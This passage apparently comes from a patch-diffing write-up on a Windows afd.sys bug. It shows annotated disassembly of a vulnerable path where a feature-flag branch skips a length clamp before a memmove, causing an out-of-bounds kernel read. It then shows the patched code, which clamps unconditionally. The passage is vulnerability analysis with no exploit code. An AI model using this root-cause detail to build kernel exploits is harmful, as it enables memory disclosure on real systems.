&lt;span class="nt"&gt;0x1c0065760&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r15d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;total_returned_length&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0065764&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MappedSystemVa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;offset&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0065767&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*(&lt;/span&gt;&lt;span class="nt"&gt;data&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;8&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;returned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;field&lt;/span&gt;
&lt;span class="nt"&gt;0x1c006576b&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;bx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x2&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;2&lt;/span&gt;
&lt;span class="nt"&gt;0x1c006576f&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;0x1c0015714&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0065774&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0065776&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x1c0065798&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;→&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULNERABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATH&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULNERABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OFF&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0065798&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MDL&lt;/span&gt;
&lt;span class="nt"&gt;0x1c006579c&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1c006579f&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MdlAddress-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;32-bit&lt;/span&gt;&lt;span class="o"&gt;!)&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657a2&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;offset&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657a5&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ByteCount-offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbx_1&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657a7&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;jae&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;0x1c00657b1&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;KEEP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OVERSIZED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbx_1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657a9&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;re-read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;16-bit&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657ad&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;bx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;16-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;offset&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;END&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULNERABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SECTION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657b1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;r8d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;length&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657b5&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;10&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657b9&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dst&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbp&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00657bc&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;0x1c000c900&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;memmove&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;len&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;READ&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the patched binary (&lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; @ &lt;code&gt;0x1C0065830&lt;/code&gt;), the feature-flag call and the entire &lt;code&gt;ByteCount&lt;/code&gt;-clamp path are gone. The code unconditionally computes &lt;code&gt;total_returned_length - 0xa&lt;/code&gt; and clamps the copy length to it before the &lt;code&gt;memmove&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x1c0065928&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;total_returned_length&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0065934&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0065938&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mh"&gt;0x1c0065944&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006593a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfff6&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006593f&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;returned_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0065944&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0065946&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0065950&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmovb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;returned_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
